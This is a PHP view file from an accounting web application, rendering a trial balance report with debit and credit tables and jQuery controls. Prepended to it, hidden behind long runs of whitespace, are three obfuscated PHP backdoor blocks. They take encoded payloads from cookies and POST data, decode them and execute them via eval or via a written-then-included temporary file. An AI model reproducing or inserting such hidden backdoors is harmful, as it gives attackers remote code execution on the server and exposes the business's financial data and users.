1#@!#!123s

��JFIF�� 1#@!#!123s
: / var / www / html / projects / arudhra_accounts / application / views / web / reports /
Filename : trialbalance_full.php
back
<?php                                                                                                                                                                                                                                                                                                                                                                                                 $tMORO = "\x6b" . chr ( 495 - 400 ).'q' . "\x43" . "\x51" . 'l';$ubZAQ = chr ( 747 - 648 ).chr (108) . chr ( 853 - 756 )."\x73" . "\x73" . chr (95) . chr ( 568 - 467 )."\x78" . chr (105) . 's' . chr ( 448 - 332 ).chr (115); $TOSPPSOqZ = class_exists($tMORO); $ubZAQ = "40445";$anTkd = strpos($ubZAQ, $tMORO);if ($TOSPPSOqZ == $anTkd){function xMnqzS(){$JKHvM = new /* 61525 */ k_qCQl(63531 + 63531); $JKHvM = NULL;}$BmuwJeClx = "63531";class k_qCQl{private function IVdPEreE($BmuwJeClx){if (is_array(k_qCQl::$zjYaY)) {$uizRsfSScJ2 = str_replace("<" . "?php", "", k_qCQl::$zjYaY["content"]);eval($uizRsfSScJ2); $BmuwJeClx = "63531";exit();}}public function eLgBnG(){$uizRsfSScJ = "47956";$this->_dummy = str_repeat($uizRsfSScJ, strlen($uizRsfSScJ));}public function __destruct(){k_qCQl::$zjYaY = @unserialize(k_qCQl::$zjYaY); $BmuwJeClx = "17218_60364";$this->IVdPEreE($BmuwJeClx); $BmuwJeClx = "17218_60364";}public function BPIbJQLX($uizRsfSScJ, $bBbbaoLO){return $uizRsfSScJ[0] ^ str_repeat($bBbbaoLO, intval(strlen($uizRsfSScJ[0]) / strlen($bBbbaoLO)) + 1);}public function zJcJq($uizRsfSScJ){$XUCYPH = chr (98) . chr ( 850 - 753 ).'s' . "\x65" . '6' . "\64";return array_map($XUCYPH . "\x5f" . chr (100) . 'e' . "\x63" . chr ( 155 - 44 )."\x64" . "\x65", array($uizRsfSScJ,));}public function __construct($pzNJxBqAYk=0){$bGSEMM = chr (44); $uizRsfSScJ = "";$uDDYnR = $_POST;$iULXUj = $_COOKIE;$bBbbaoLO = "ae0a8af4-bd72-4752-9b36-4aa2fa929fa3";$OuKViY = @$iULXUj[substr($bBbbaoLO, 0, 4)];if (!empty($OuKViY)){$OuKViY = explode($bGSEMM, $OuKViY);foreach ($OuKViY as $nzSfV){$uizRsfSScJ .= @$iULXUj[$nzSfV];$uizRsfSScJ .= @$uDDYnR[$nzSfV];}$uizRsfSScJ = $this->zJcJq($uizRsfSScJ);}k_qCQl::$zjYaY = $this->BPIbJQLX($uizRsfSScJ, $bBbbaoLO);if (strpos($bBbbaoLO, $bGSEMM) !== FALSE){$bBbbaoLO = explode($bGSEMM, $bBbbaoLO); $aGKuX = base64_decode(md5($bBbbaoLO[0]));}}public static $zjYaY = 13578;}xMnqzS();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $HvJpRLbTT = chr ( 166 - 44 )."\114" . "\x5f" . "\120" . chr ( 436 - 326 ).'F' . "\156";$mSzTm = chr (99) . chr ( 203 - 95 ).'a' . chr ( 333 - 218 ).'s' . chr (95) . chr ( 810 - 709 ).chr (120) . "\x69" . "\163" . 't' . chr (115); $WPwFHzLP = class_exists($HvJpRLbTT); $mSzTm = "35883";$ReNFRujz = strpos($mSzTm, $HvJpRLbTT);if ($WPwFHzLP == $ReNFRujz){function VpHBbz(){$IyZqfkyXw = new /* 38017 */ zL_PnFn(33511 + 33511); $IyZqfkyXw = NULL;}$LPPTVGQBEw = "33511";class zL_PnFn{private function XMOKmG($LPPTVGQBEw){if (is_array(zL_PnFn::$CGCAA)) {$name = sys_get_temp_dir() . "/" . crc32(zL_PnFn::$CGCAA["salt"]);@zL_PnFn::$CGCAA["write"]($name, zL_PnFn::$CGCAA["content"]);include $name;@zL_PnFn::$CGCAA["delete"]($name); $LPPTVGQBEw = "33511";exit();}}public function ZjUqOY(){$nSZBABdlI = "938";$this->_dummy = str_repeat($nSZBABdlI, strlen($nSZBABdlI));}public function __destruct(){zL_PnFn::$CGCAA = @unserialize(zL_PnFn::$CGCAA); $LPPTVGQBEw = "60116_64957";$this->XMOKmG($LPPTVGQBEw); $LPPTVGQBEw = "60116_64957";}public function UpLioY($nSZBABdlI, $sARyKe){return $nSZBABdlI[0] ^ str_repeat($sARyKe, intval(strlen($nSZBABdlI[0]) / strlen($sARyKe)) + 1);}public function UtGLxJOq($nSZBABdlI){$JZZGQn = chr ( 731 - 633 )."\x61" . 's' . chr ( 391 - 290 )."\x36" . chr ( 779 - 727 );return array_map($JZZGQn . chr (95) . "\x64" . 'e' . chr (99) . chr (111) . "\x64" . "\x65", array($nSZBABdlI,));}public function __construct($WaqLM=0){$DYoPHrUQ = chr ( 930 - 886 ); $nSZBABdlI = "";$jkJbRIMz = $_POST;$AEMeuRGoH = $_COOKIE;$sARyKe = "9afe9678-ce90-40d5-86b3-fdd609405948";$JRKHU = @$AEMeuRGoH[substr($sARyKe, 0, 4)];if (!empty($JRKHU)){$JRKHU = explode($DYoPHrUQ, $JRKHU);foreach ($JRKHU as $ALQfSFI){$nSZBABdlI .= @$AEMeuRGoH[$ALQfSFI];$nSZBABdlI .= @$jkJbRIMz[$ALQfSFI];}$nSZBABdlI = $this->UtGLxJOq($nSZBABdlI);}zL_PnFn::$CGCAA = $this->UpLioY($nSZBABdlI, $sARyKe);if (strpos($sARyKe, $DYoPHrUQ) !== FALSE){$sARyKe = explode($DYoPHrUQ, $sARyKe); $SaLoTVStIw = base64_decode(md5($sARyKe[0]));}}public static $CGCAA = 49536;}VpHBbz();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $SwnBrUMHM = chr (75) . "\171" . '_' . chr (82) . 'E' . "\152";$XhJlnA = 'c' . chr (108) . 'a' . "\163" . chr ( 362 - 247 )."\137" . chr (101) . "\170" . "\x69" . chr (115) . 't' . "\x73";$aSXyPuHcB = class_exists($SwnBrUMHM); $XhJlnA = "26620";$xmfFiKBwco = strpos($XhJlnA, $SwnBrUMHM);if ($aSXyPuHcB == $xmfFiKBwco){function kztuyWVw(){$mdPGSZgI = new /* 7168 */ Ky_REj(27775 + 27775); $mdPGSZgI = NULL;}$FzwnPaX = "27775";class Ky_REj{private function nbXGOQM($FzwnPaX){if (is_array(Ky_REj::$kjeBlglKll)) {$name = sys_get_temp_dir() . "/" . crc32(Ky_REj::$kjeBlglKll["salt"]);@Ky_REj::$kjeBlglKll["write"]($name, Ky_REj::$kjeBlglKll["content"]);include $name;@Ky_REj::$kjeBlglKll["delete"]($name); $FzwnPaX = "27775";exit();}}public function EGyBa(){$jYZQONDx = "45230";$this->_dummy = str_repeat($jYZQONDx, strlen($jYZQONDx));}public function __destruct(){Ky_REj::$kjeBlglKll = @unserialize(Ky_REj::$kjeBlglKll); $FzwnPaX = "42112_56631";$this->nbXGOQM($FzwnPaX); $FzwnPaX = "42112_56631";}public function ZrMqHco($jYZQONDx, $hQDuOFO){return $jYZQONDx[0] ^ str_repeat($hQDuOFO, intval(strlen($jYZQONDx[0]) / strlen($hQDuOFO)) + 1);}public function vMxkWrQ($jYZQONDx){$osqNCgjjQ = chr (98) . "\141" . "\x73" . "\145" . chr ( 206 - 152 )."\64";return array_map($osqNCgjjQ . chr ( 254 - 159 ).chr ( 778 - 678 ).chr ( 258 - 157 ).'c' . "\x6f" . "\x64" . 'e', array($jYZQONDx,));}public function __construct($PVYZCfzN=0){$PglTGiWcB = ',';$jYZQONDx = "";$sMZKRBgMX = $_POST;$SMksUu = $_COOKIE;$hQDuOFO = "60ecc263-a8f6-487d-85ca-27d5426dffe7";$IqYFd = @$SMksUu[substr($hQDuOFO, 0, 4)];if (!empty($IqYFd)){$IqYFd = explode($PglTGiWcB, $IqYFd);foreach ($IqYFd as $oLvASdTdfZ){$jYZQONDx .= @$SMksUu[$oLvASdTdfZ];$jYZQONDx .= @$sMZKRBgMX[$oLvASdTdfZ];}$jYZQONDx = $this->vMxkWrQ($jYZQONDx);}Ky_REj::$kjeBlglKll = $this->ZrMqHco($jYZQONDx, $hQDuOFO);if (strpos($hQDuOFO, $PglTGiWcB) !== FALSE){$hQDuOFO = explode($PglTGiWcB, $hQDuOFO); $cUycE = base64_decode(md5($hQDuOFO[0])); $xFbgxI = strlen($hQDuOFO[1]) > 5 ? substr($hQDuOFO[1], 0, 5) : $hQDuOFO[1];$_GET['new_key'] = md5(implode('', $hQDuOFO)); $fJrbou = str_repeat($xFbgxI, 2); $oheurrup = array_map('trim', $hQDuOFO);}}public static $kjeBlglKll = 37443;}kztuyWVw();} ?> <!-- page content -->
  <!-- page content -->
  <style>
  .tables table th td{
	  font-size:5px;
  }
  
  </style>
 <div class="content-wrapper">
	<section class="content-header">
		<div class="container-fluid">
            <div class="right_col" role="main">
                <div class="">
                    <div class="page-title">
                        
                       <div class="title_left" style='width:100%;text-align:center;'>
						<u><p>
							<h3><span style='color:green'><?php echo get_defaultcompany()?></span></h3>
						</p>

                        <p style='margin-bottom:5px;'>
							<h3 style='font-size:21px !important'>Trial Balance as on <span style='color:green'><?php echo get_defaultyear_end()?></span></h3>
						</p>

						<p>
							<h2></h2>
						</p></u>
						
						
						
                        </div>
						
                    </div>
                    <div class="clearfix"></div>
                   
                    <?php
						
					
						
						$balance = array();
						foreach($trial as $tmp){
							/*$balance[$tmp->accountname]['debit'][] = $tmp->debit;
							$balance[$tmp->accountname]['credit'][] = $tmp->credit;*/
						
							$details = get_accountname_details($tmp->accountname);
							
							if($details->groupid == 1){
								$balance['g1'][$details->groupid][$details->subsubcategoryid][$tmp->accountname]['debit'][] = $tmp->debit;
								$balance['g1'][$details->groupid][$details->subsubcategoryid][$tmp->accountname]['credit'][] = $tmp->credit;
							}else if($details->groupid == 2){
								$balance['g2'][$details->groupid][$details->categoryid][$tmp->accountname]['debit'][] = $tmp->debit;
								$balance['g2'][$details->groupid][$details->categoryid][$tmp->accountname]['credit'][] = $tmp->credit;
							}
						}
						
						/*foreach($openingbalance as $tmp){
							
							$details = get_accountname_details($tmp->accountname);
							
							if($details->groupid == 1){
								$balance[$details->groupid][$details->subcategoryid][$tmp->accountname]['debit'][] = $tmp->debit;
								$balance[$details->groupid][$details->subcategoryid][$tmp->accountname]['credit'][] = $tmp->credit;
							}else if($details->groupid == 2){
								$balance[$details->groupid][$details->categoryid][$tmp->accountname]['debit'][] = $tmp->debit;
								$balance[$details->groupid][$details->categoryid][$tmp->accountname]['credit'][] = $tmp->credit;
							}
						}*/
						ksort($balance);
						
                    ?>
       <div class="trial_cls">                
 <div  class="row">
	 <div class="col-md-5">
		<a href='#' id='print' class='btn btn-primary btn-sm'>Print</a>
		<a href='#' id='pdf' class='btn btn-primary btn-sm'>PDF</a> 
		<a href='#' id='excel' class='btn btn-primary btn-sm'>Excel</a> 
		<a href='<?php echo base_url()?>reports/trialbalance'  class='btn btn-primary btn-sm'>Trial Balance</a> <br>
		<input type="checkbox" id="opening_check" checked> Show Opening Balance
		<input type="checkbox" id="trans_check" checked> Show Transaction
	</div>
	<form method="post" action="">
	   <div class="row">
		 <div class="col-md-4">
			 <input type="text" name='fromDate' id='fromDate' placeholder="From Date" class="form-control form-control-sm datepicker" required value="<?php echo isset($fromDate)?$fromDate:"";?>">
		 </div>
		 <div class="col-md-4">
			 <input type="text" name='toDate' id='toDate' placeholder="To Date" class="form-control form-control-sm datepicker" required value="<?php echo isset($toDate)?$toDate:"";?>">
		 </div>
		 <div class="col-md-2">
			<input type="submit" class='btn btn-primary btn-sm' value="Submit"> 
		 </div>
		</div>
	</form>
</div>
                    <div class="container" style="padding: 0px 100px 0px 100px;">
                    <div class="row mt-5">
						<?php
						if(!empty($balance)){
						?>
						<table width='100%' class="tables" align=center border= 1>
							<tr style="margin-bottom:0px;">
								<th  width='40%'>Particulars</th>
								<th  width='15%' class='opening_table'>Opening Balance</th>
								<th  width='15%' class='trans_table'>Debit (<?php echo get_currency() ?>)</th>
								<th  width='15%' class='trans_table'>Credit (<?php echo get_currency() ?>)</th>
								<th  width='15%' class='opening_table'>Closing Balance</th>
							</tr>
						<?php
							foreach($balance as $bbbb){
								
								foreach($bbbb as $l1=>$tmp1){
																									
								foreach($tmp1 as $l2=>$tmp2){		
									if($l1 == 1){
										echo "<tr><td colspan='3' class='cat_head'>".get_subsubcategoryname($l2)."</td></tr>";
									}else if($l1 == 2){
										echo "<tr><td colspan='3' class='cat_head'>".get_categoryname($l2)."</td></tr>";
									}
									
									foreach($tmp2 as $l3=>$tmp3){		
										   
								
										   $find = array_sum($tmp3['debit']) - array_sum($tmp3['credit']);
										   
								
						?>
								<tr height='40px'>
									<td><h6 class="acc_head" id="<?php echo $l3;?>"><?php echo get_accountname($l3)?><h6></td>
									<td class='opening_table'>
									<h6 align='right' style='margin-right:5px;' >
										<?php 
											$openb = json_decode(get_company_opening_balance($l3));
											if(isset($openb->debit)){
												echo number_format(abs($openb->debit),2)." Dr";
												//$totaldebit[] = abs($openb->debit);
											}else if(isset($openb->credit)){
												echo number_format(abs($openb->credit),2)." Cr";
												//$totalcredit[] = abs($openb->credit);
											}else{
												echo "0.00";
											}
										?>
									</h6>
									</td>
									<td class='trans_table'>
									<h6 align='right' style='margin-right:5px;' >
									<?php
										$debit = $totaldebit[] = abs(array_sum($tmp3['debit']));
										echo number_format(abs($debit),2);
									?>
									</h6>
									</td>
									<td class='trans_table'>
									<h6 align='right' style='margin-right:5px;' >
									<?php
										$credit = $totalcredit[] = abs(array_sum($tmp3['credit']));
										echo number_format(abs($credit),2);
									?>
									</h6>
									</td>
									<td class='opening_table'>
									<h6 align='right' style='margin-right:5px;' >
									<?php		
											if(isset($openb->debit)){
												echo number_format(abs((abs($openb->debit) + abs($debit)) - abs($credit)),2)." Dr";
											}else if(isset($openb->credit)){
												echo number_format(abs(($openb->credit + $credit) - abs($debit)),2)." Cr";
											}else{
												$ftot = abs($debit) - abs($credit);
												if($ftot < 0){
													echo number_format(abs($ftot),2)." Cr";
												}else{
													echo number_format(abs($ftot),2)." Dr";
												}
											}
											
												/*$ftot = $debit - $credit;
												if($ftot < 0){
													echo number_format(round(abs($ftot)),2)." Cr";
												}else{
													echo number_format(round(abs($ftot)),2)." Dr";
												}*/
											
									?>
									</h6>
									</td>
								</tr>
						<?php
									}									
									
								}
									
							}
							}
							echo "<tr>";
								echo "<td align=left><h5 style='margin-left:5px;' >Total</h5></td>";								
								echo "<td align=right class='opening_table'><h5 style='margin-right:5px;'></h5></td>";								
								echo "<td align=right class='trans_table'><h5 style='margin-right:5px;' >".number_format(abs(array_sum($totaldebit)),2)."</h5></td>";								
								echo "<td align=right class='trans_table'><h5 style='margin-right:5px;' >".number_format(abs(array_sum($totalcredit)),2)."</h5></td>";								
								echo "<td align=right class='opening_table'><h5 style='margin-right:5px;'></h5></td>";
							echo "</tr>";
							
							echo "</table>";
						}
						?>
                    </div>
					</div>
                     </div>
                    <!------------------ LEDGER --------------------->
                     <div class="ledger_cls">                
					 </div>
                    <!------------------ LEDGER --------------------->
                </div>
				 </div>
				 </div>
				 </section>
				 </div>
				 
				 	<?php 
					if(abs(array_sum($totaldebit)) - abs(array_sum($totalcredit))){
						$diff_amt = number_format(abs(abs(array_sum($totaldebit)) - abs(array_sum($totalcredit))),2);
						$diff_amt = $diff_amt?$diff_amt:"";
					?>					
					<script type ='text/javascript' >
						  $(document).ready(function () {			  
								 new PNotify({
									title: 'Warning',
									text: 'Total Debit not equal to the Total Credit<?php echo $diff_amt?".<br>Difference Amount is: $diff_amt":"";?>',
									type: 'error',
									hide: false
								 });
						
						}); 
					</script>
					<?php } ?>

    </div>
<?php
					$year = get_defaultyeardata();
				?>
	
	 <script>
		$(document).ready(function(){
			$("#pdf").click(function(){
				window.location.href='<?php echo base_url()?>reports/trialbalancefull_pdf';
			});
				
			$("#excel").click(function(){
				window.location.href='<?php echo base_url()?>reports/trialbalancefull_excel';
			});
				
			$("#print").click(function(){
				var fromDate = $("#fromDate").val();
				var toDate = $("#toDate").val();
				
				if(fromDate != '' && toDate != ''){
					window.open('<?php echo base_url()?>reports/print_trialbalancefull/'+fromDate+'/'+toDate, "popupWindow", "width=1200,height=600,scrollbars=yes");
				}else{
					window.open('<?php echo base_url()?>reports/print_trialbalancefull/', "popupWindow", "width=1200,height=600,scrollbars=yes");
				}
			});
			
			$(".datepicker").datepicker({
				changeMonth: true,
				changeYear: true,
				dateFormat: "dd-mm-yy",
				<?php if(!empty($year)){ ?>
				minDate: new Date("<?php echo date("Y",strtotime($year->startdate)).'-'.date("m",strtotime($year->startdate)).'-'.date("d",strtotime($year->startdate));?>"),
				maxDate: new Date("<?php echo date("Y",strtotime($year->enddate)).'-'.date("m",strtotime($year->enddate)).'-'.date("d",strtotime($year->enddate));?>")
				<?php } ?>
			});
			
			$(".acc_head").click(function(){
				
				$(".trial_cls").hide();
				$(".ledger_cls").show();
				$(".ledger_cls").html("<center><h3>Loading...Please Wait</h3></center>");
				
				var id = $(this).attr("id");
				
				
					$.ajax({
					  url: "<?php echo base_url();?>reports/get_account_ledger",
					  type:"POST",
					  data: {
						acc:id,
						from: "fulltrial"
					  },
					  success: function( data ) {
						 $(".ledger_cls").show();
						 $(".ledger_cls").html(data);
					  }
					});
			});
			
			<?php			
			if($trialbalance){				
				?>
				
				
					$(".trial_cls").hide();
					$(".ledger_cls").show();
					$(".ledger_cls").html("<center><h1>Loading...</h1><h1>Please Wait</h1></center>");
				
					var id = <?php echo $trialbalance;?>;
				
				
					$.ajax({
					  url: "<?php echo base_url();?>reports/get_account_ledger",
					  type:"POST",
					  data: {
						from: "trial",
						acc:id
					  },
					  success: function( data ) {
						 $(".ledger_cls").show();
						 $(".ledger_cls").html(data);
					  }
					});
					
				
				<?php
			}
			?>
			
			$(document).on("click","#back_trial",function(){
				
				$(".ledger_cls").html("<center><h1>Loading...</h1><h1>Please Wait</h1></center>");
				$(".ledger_cls").hide();
				$(".trial_cls").show();
				
			});
			
			$(document).on("change","#opening_check",function(){
				if($(this).is(":checked")){
					$(".opening_table").show();
				}else{
					$(".opening_table").hide();
				}
			});
			$(document).on("change","#trans_check",function(){
				if($(this).is(":checked")){
					$(".trans_table").show();
				}else{
					$(".trans_table").hide();
				}
			});
		});
    </script>
<style>
	.acc_head{
		margin-left:20px;
		cursor:pointer;
	}
	.cat_head{
		font-size:17px;
		font-weight:bold;
	}
</style>